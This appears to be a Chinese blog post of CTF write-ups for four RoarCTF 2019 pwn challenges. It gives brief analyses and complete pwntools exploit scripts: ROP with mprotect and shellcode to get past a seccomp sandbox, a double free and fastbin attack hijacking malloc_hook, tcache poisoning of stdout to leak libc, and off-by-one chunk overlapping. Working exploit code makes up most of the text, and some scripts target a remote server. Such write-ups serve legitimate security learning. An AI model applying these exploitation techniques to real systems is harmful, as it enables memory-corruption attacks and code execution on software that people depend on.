2019 RoarCTF部分PWN题解

0x00 Summary

easyrop:栈溢出,绕过沙箱ORW
eayheap:double free进行劫持hook
eaay_pwn:利用off by one的方式进行overlapping,控制小chunk先进行泄露libcbase,再进行fastbin attack攻击,hijaking malloc_hook。
realloc_magic:利用overlapping修改fd,使tcache指向stdout,由于其分配不用管chunk所以直接指向stdout位置就可以了泄露出libc地址,得到one_gadget。在进行一次overlapping分配到hook位置放入one_gadget即可。(ubuntu 18.04)

0x01 easyrop

查看文件

IDA分析

查看IDA:发现栈溢出漏洞:

v8代表栈上地址的位置,而v7又是我们写入的数据,同时v8我们是可以通过栈溢出来覆盖的。所以这里就产生了,栈溢出漏洞,我们可以修改返回地址。想system getshell?太天真了。。继续看

沙箱保护,且没有办法修改其规则:我们先看看到底禁了那些系统调用:
execve被禁了,所以不能通过system来getshell。

思路

首先需要利用rop来进行利用泄露libc地址之类的作用,那么怎么继续利用呢:这里需要补充到一个知识点:mprotect:

先了解这些:
int mprotect(const void *start, size_t len, int prot);
第一个参数:开始地址(该地址应是0x1000的倍数,以页方式对齐)
第二个参数:指定长度(长度也应该是0x1000的倍数)
第三个参数:指定属性
可读可写可执行(0x111=7)

可以通过这个函数来修改写入数据的执行权限。修改写入数据执行权限之后我们就可以通过open等其他系统调用把flag读取出来。

exp

#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import random
import time

context.arch = 'amd64'
context.log_level = 'debug'
execve_file = './easyrop'
p = process(execve_file)
elf = ELF(execve_file)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

layout = [
0x0000000000400640, # : ret
0x0000000000401b93, # : pop rdi ; ret
elf.got['puts'],
elf.plt['puts'],
0x4019F3, # main
]
p.sendlineafter('>> ', 'a' * 0x418 + p8(0x28) + flat(layout))

# print p.recv()
p.recvuntil('\x00')
data = p.recv(6)
libc_addr = u64(data.ljust(8, '\x00')) - libc.symbols['puts']
print "libc_addr: ",hex(libc_addr)

layout = [
0x0000000000401b93, # : pop rdi ; ret
elf.bss(),
libc_addr + libc.symbols['gets'],
0x0000000000401b93, # : pop rdi ; ret
elf.bss() & 0xfffffffffffff000,
libc_addr + 0x00000000000202e8, #: pop rsi; ret;
0x1000 ,
libc_addr + 0x0000000000001b96, #: pop rdx; ret;
7 ,
libc_addr + libc.symbols['mprotect'],
elf.bss(),                      
]

# gdb.attach(p)
p.sendlineafter('>> ', 'a' * 0x418 + p8(0x28) + flat(layout))
shellcode = asm('''
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
jg next
push 1
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
jmp exit

next:
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov edi, 1
mov rsi, rsp
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')

p.sendline(shellcode)

p.interactive()

0x02 easyheap

查看文件

IDA分析

创建:

最大的size是0x90
2.另一个创建功能:创建0xa0大小的chunk,也可以free。但是 只能调用3次

删除:

show:

不过需要判断,并且后面的部分会导致一系列错误,无法释放不输出信息等等:(这也是导致第一次没有成功做出的原因)

思路

这里的思路是利用Double free漏洞构建UAF,修改fd到bss段上,泄露libc_offset。再劫持malloc_hook,还是思路简单,步骤困难。

exp

#coding:utf-8
from pwn import *
import time

context.log_level = "debug"

p = process("./easyheap")
# p = remote('39.97.182.233', 41564)
elf = ELF("./easyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def start(username,info):
    p.sendafter("username:",username)
    p.sendafter("info:",info)

def create(size,content):
    p.sendlineafter(">> ",str(1))
    p.sendlineafter("size\n",str(size))
    p.sendlineafter("content\n",content)

def delete():
    p.sendlineafter(">> ",str(2))

def show():
    p.sendlineafter(">> ",str(3))

def create_A0_chunk(content):
    p.sendlineafter(">> ",str(666))
    p.sendlineafter("free?\n",str(1))
    p.sendlineafter("content\n",content)

def delete_A0_chunk():
    p.sendlineafter(">> ",str(666))
    p.sendlineafter("free?\n",str(2))

one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]

target_data = 0xdeadbeefdeadbeef
fake_chunk = 0x602060

start(p64(0)+p64(0x71)+p64(fake_chunk),p64(0)+p64(0x21))

create_A0_chunk("\x33"*0x10)
delete_A0_chunk()

# use UAF make double free attack
create(0x60,"cccc")
create(0x60,"cccc")
delete()
delete_A0_chunk()
delete()

create(0x60,p64(fake_chunk))
# have fake chunk in pointer list, leak libc offset
create(0x60,"dddd")
create(0x60,"eeee")
create(0x60,p64(fake_chunk)+"f"*(0x10)+p64(elf.got["__libc_start_main"])+p64(target_data))

show()
data = u64(p.recv(6).ljust(8,"\x00"))
libc_offset = data - libc.symbols['__libc_start_main']
print hex(libc_offset)

# hijacking malloc_hook
target_hook_addr = libc.symbols['__malloc_hook']+libc_offset-0x23
print hex(target_hook_addr)

time.sleep(0.1)
p.sendline('1')
time.sleep(0.1)
p.send(str(0x60).ljust(8, '\x00'))
time.sleep(0.1)
p.send(p64(target_hook_addr))

time.sleep(0.1)
p.sendline('1')
time.sleep(0.1)
p.send(str(0x60).ljust(8, '\x00'))
time.sleep(0.1)
p.send("a"*11)
# create(0x60,"\x99"*0x30)

time.sleep(0.1)
p.sendline('1')
time.sleep(0.1)
p.send(str(0x60).ljust(8, '\x00'))
time.sleep(0.1)
one_gadget = one_gadgets[3]+libc_offset
p.send("a"*11+p64(one_gadget)+p64(libc.symbols["realloc"]+libc_offset+20))
# gdb.attach(p)
# pause()

# time.sleep(0.1)
# gdb.attach(p)
# pause()
p.sendline('1')
# time.sleep(0.1)
# gdb.attach(p)
# pause()
p.send(str(0x60).ljust(8, '\x00'))
time.sleep(0.3)
p.send("cat flag >&0n")

p.interactive()     

0x03 realloc_magic

查看文件

保护全部开启,我们考虑到这么两个思路:hijacking hook和io_file attack。 ## IDA分析 ### create
这里看到就只有realloc创建,之前一直在ubuntu16下做,如果早点知道这道题环境是18,我觉得应该能A出来。太可惜了... 来学习一下realloc在ubuntu18的特性:
  • realloc(0)=free(old)
  • realloc(newsize>oldsize)=overlapping
  • realloc(newsize<oldsize)=edit
  • realloc(newsize)=add

free

pointer没有置0 ### magic
指针置0,但是区别是chunk不进tcache,也就是最后没有相通这点,导致未能做出来。不得不说,tcache机制和之前确实有点区别,其实是更好利用了。 ## 思路 利用overlapping修改fd,使tcache指向stdout,由于其分配不用管chunk所以直接指向stdout位置就可以了。**这里还有一个新姿势**下面详细说。泄露出libc地址,得到one_gadget。在进行一次overlapping分配到hook位置放入one_gadget即可。 ## 步骤 ### 步骤一:利用overlapping修改fd到stdout,泄露libc

第一步,创建好我们利用所需要的chunk:

create(0x110,"\x11"*0x10) # 我们需要利用这个chunk进行向下overlapping
create(0,"")                    # 释放掉
create(0x100,"\x22"*0x10) # 这个是中间 chunk,我们需要攻击的chunk
create(0,"")
create(0x70,"\x33"*0x10)  # 下面的chunk,防止Tcache链满的情况下释放small chunk进入unsorted bin的时候和top chunk合并
create(0,"")
create(0x100,"\x11"*0x10)  # 再分配
for i in range(7):              # 这是为了填满Tcache链
    Delete()
create(0,"")                    # 问题:為什麼不能用delete代替

第二步:进行修改fd,同时将Tcache中挡在目标chunk前面的chunk利用掉

create(0x110,"\x88"*0x10)
create(0x200,"\x55"*0x110+p64(0)+p64(0x41)+"\x60\x07\xdd") # 这里修改尺寸的原因是为了利用掉目标 chunk前面的size,释放的时候不会再回到0x110Tcache链的头部
create(0,"") # 這裡是釋放0x200
create(0x100,"\x99"*0x10)# 因為tcache類似於fastbin的分配策略,所以我們需要將最前面的chunk使用,以達到下次分配的是目標地址
create(0,"")# 這裡也就解釋了為什麼要將前面的size修改,因為不修改那麼這裡又會進入到0x110的tcache
create(0x100,p64(0xfbad1800)+p64(0)*3+"\x00") # 注意这里是将write_base的地址改为一个存放libc上可以计算的数据的地址。当然也可以是用老方法,将后两位改为write_base地址,这样输出直接就是libc上地址

第三步:获得libc相关地址,算出libcbase

p.recvn(0x21)
libc_base = u64(p.recv(8)) - (0x7ffff7dcf780 - 0x7ffff79e4000)
log.success("libc base => " + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

步骤二:hijacking hook

第一步:释放指针,重新布置堆

Magic() # 釋放這個指針,重新再利用。這裡為什麼又不用create(0)?是因為用的話之前在stdout的那個chunk就會進入tcache
# 導致一系列錯誤 
# 但是這裡為了預防tcache鏈發生混亂,在這裡我們選取三個大小的chunk,分別是沒有用的
# 0x90、0xa0、0x70
create(0x80,"new1")
create(0,"")
create(0x90,"new2")
create(0,"")
create(0x60,"new3")
create(0,"")
create(0x90,"new2")
for i in range(7): # 最後一個delete和create到底有什麼不同
    Delete()
create(0,"")
create(0x80,"new1")

第二步:老方法,overlapping,再hijaking free_hook

create(0xf0,"a"*0x80+p64(0)+p64(0x51)+p64(free_hook))
create(0,"")
create(0x90,"\x11")  # 更新tcache的fd指針
create(0,"") # 將這個chunk釋放,由於其size已經發生改變所以不會再次進入0xa0的list
create(0x90,p64(gadgets[1]+libc_base))
Delete()

exp

#coding=utf-8
from pwn import *
context.log_level='debug'
elf = ELF('./realloc_magic')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./realloc_magic')
gadgets = [0x4f2c5,0x4f322,0x10a38c]

def create(size,data):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil("Size?")
    p.sendline(str(size))
    if size > 0:
        p.recvuntil("Content?")
        p.send(data)

def Delete():
    p.recvuntil('>> ')
    p.sendline('2')

def Magic():
    p.recvuntil('>> ')
    p.sendline('666')


create(0x110,"\x11"*0x10) # we will use this chunk to overlapping later chunk
create(0,"")
create(0x100,"\x22"*0x10)
create(0,"")
# Delete()
create(0x70,"\x33"*0x10)  # split top chunk and this chunk, in order to stop consolidation
gdb.attach(p)
create(0,"")
create(0x100,"\x11"*0x10)
for i in range(7):
    Delete()
create(0,"")   # 為什麼不能用delete代替
# 詳細說明最後一個為什麼要create(0),首先梳理一邊兩者基本區別:create(0)是指針清0同時釋放空間
# free只是釋放空間但是指針還是指向釋放的chunk,這樣會存在這個問題:當再次申請比當前釋放小的chunk時會將
# 這個chunk切一部分給新chunk這樣就打亂了分配空間不好利用了。

gdb.attach(p)
create(0x110,"\x88"*0x10)
create(0x200,"\x55"*0x110+p64(0)+p64(0x41)+"\x60\x07\xdd") # 这里修改尺寸的原因
# 注意一個問題:當開啟地質隨機化的時候只需修改兩個byte,最高位需要猜1/16的概率,而關閉則需要改三個byte
create(0,"") # 這裡是釋放0x200
create(0x100,"\x99"*0x10)# 因為tcache類似於fastbin的分配策略,所以我們需要將最前面的chunk使用,以達到下次分配的是目標地址
# 在43行創建新chunk之前並不會顯示tcache已經指向了target_goal,也就是說明tcache的機制它是在
# chunk被取出的時候來更新fd指針的
create(0,"")# 這裡也就解釋了為什麼要將前面的size修改,因為不修改那麼這裡又會進入到0x110的tcache,那麼一create還是這個chunk,無法達到目標地址
create(0x100,p64(0xfbad1800)+p64(0)*3+"\x00")

p.recvn(0x21)
libc_base = u64(p.recv(8)) - (0x7ffff7dcf780 - 0x7ffff79e4000)
log.success("libc base => " + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

Magic() # 釋放這個指針,重新再利用。這裡為什麼又不用create(0)?是因為用的話之前在stdout的那個chunk就會進入tcache
# 導致一系列錯誤 
# 但是這裡為了預防tcache鏈發生混亂,在這裡我們選取三個大小的chunk,分別是沒有用的
# 0x90、0xa0、0x70
create(0x80,"new1")
create(0,"")
create(0x90,"new2")
create(0,"")
create(0x60,"new3")
create(0,"")
create(0x90,"new2")
for i in range(7): # 最後一個delete和create到底有什麼不同
    Delete()
create(0,"")
create(0x80,"new1")

create(0xf0,"a"*0x80+p64(0)+p64(0x51)+p64(free_hook))
create(0,"")
create(0x90,"\x11")  # 更新tcache的fd指針
create(0,"") # 將這個chunk釋放,由於其size已經發生改變所以不會再次進入0xa0的list
create(0x90,p64(gadgets[1]+libc_base))
Delete()

p.interactive()

新姿势

ubuntu18下realloc的特性:

realloc(0)==free + 清空指针
realloc(newsize>oldsize)==overlapping
realloc(newsize<oldsize)==edit
realloc(newsize):当free了&指针清空了==add
注意一下free和realloc(0)的区别

tcache机制

1.类似fastbin的分配策略:先入后出,同时相同大小只有7个,注意不要把大chunk跟unsorted bin的分配策略弄混淆
2.没有double free的检查
3.注意其fd指针是在写入chunk后,在取出的时候才进行更新的

0x04 easy_pwn

查看文件

从保护判断可能就是hijaking hook来进行getshell吧 ## IDA分析 ### 读取数据功能:
支持读取0~0x100的数据,那么这里就限制了chunk的大小 ### create
没有发现什么漏洞 ### edit
这里有个off by one的漏洞,意思主要就是:当edit时输入大于原size10的size时会有一个off by one的漏洞 ### show
打印函数 ## 利用思路 这里思路肯定就是利用off by one的方式进行overlapping,控制小chunk先进行泄露libcbase,再进行fastbin attack攻击,hijaking malloc_hook。这里会有一个小trick,就是劫持mallochook不能成功,之前遇到过这个问题。 ## 步骤 ### 步骤一:leak libcbase ```python create(0x68) # 0 create(0x68) # 1 create(0x68) # 2 create(0x68) # 3 create(0x68) # 4 create(0x68) # 5 create(0x68) # 6 create(0x68) # 7 edit(1,0x68+10,"a"*0x60+p64(0)+"\xe1") delete(2) create(0x68) # 2 show(3) p.recvuntil("content: ") data = u64(p.recv(6).ljust(8,"\x00")) print hex(data) main_arean = data-88 libc_base = main_arean - 0x3c4b20 ```

步骤二fastbin attack

target_addr = data-0x8b
one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]

edit(4,0x68+10,0x60*"a"+p64(0)+"\xe1")
delete(5)
create(0xd0) #5
edit(5,0xd0,"\x00"*0x68+p64(0x70)+"\x00"*0x60)
delete(6)
edit(5,0xd0,"\x00"*0x68+p64(0x70)+p64(target_addr)+0x58*"\x00")
create(0x68) # 6
create(0x68) # 8

步骤三hijaking got

edit(8,0x68,"a"*0xb+p64(one_gadgets[2]+libc_base)+p64(libc_base+libc.symbols["realloc"]+13)+"a"*(0x50-3))
# gdb.attach(p)
create(0x50)

exp

# -*- coding: utf-8 -*-
from pwn import *
# p = process("./easy_pwn")
p = remote("39.97.182.233",33619)
elf = ELF("./easy_pwn")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"

def create(size):
    p.sendlineafter("choice: ",str(1))
    p.sendlineafter("size: ",str(size))

def edit(index,size,content):
    p.sendlineafter("choice: ",str(2))
    p.sendlineafter("index: ",str(index))
    p.sendlineafter("size: ",str(size))
    p.sendlineafter("content: ",content)

def delete(index):
    p.sendlineafter("choice: ",str(3))
    p.sendlineafter("index: ",str(index))

def show(index):
    p.sendlineafter("choice: ",str(4))
    p.sendlineafter("index: ",str(index))
create(0x68) # 0
create(0x68) # 1
create(0x68) # 2
create(0x68) # 3
create(0x68) # 4
create(0x68) # 5
create(0x68) # 6
create(0x68) # 7
edit(1,0x68+10,"a"*0x60+p64(0)+"\xe1")
delete(2)  # overlapping
create(0x68) # 2
show(3)
p.recvuntil("content: ")
data = u64(p.recv(6).ljust(8,"\x00"))
print hex(data)
main_arean = data-88
libc_base = main_arean - 0x3c4b20
target_addr = data-0x8b
one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
edit(4,0x68+10,0x60*"a"+p64(0)+"\xe1")
delete(5)
create(0xd0) #5
edit(5,0xd0,"\x00"*0x68+p64(0x70)+"\x00"*0x60)
delete(6)
edit(5,0xd0,"\x00"*0x68+p64(0x70)+p64(target_addr)+0x58*"\x00")
create(0x68) # 6
create(0x68) # 8
edit(8,0x68,"a"*0xb+p64(one_gadgets[2]+libc_base)+p64(libc_base+libc.symbols["realloc"]+13)+"a"*(0x50-3))
# gdb.attach(p)
create(0x50)
p.interactive()

  Reprint policy: xiaoxin 2019 RoarCTF部分PWN题解

 Previous
2020 TCTF预选赛和决赛部分PWN题复盘 2020 TCTF预选赛和决赛部分PWN题复盘
SummaryDuet:沙箱+off by one 2.29: 思路一:利用off by one进行overlapping,构造A可以改写B的header,最终目标是UAF泄露出libc和heap base,以及largebin attac
2020-10-29
Next 
2020 IISC线上赛PWN解题 2020 IISC线上赛PWN解题
0x00 Summarylogger整数溢出+脏数据泄露。改bss上stderr指针为伪造的file结构体,2.23 FSOP攻击 foo:UAF,加Cookie检测,爆破出Cookie,然后利用scanf的trick进行malloc_co
2020-10-27
  TOC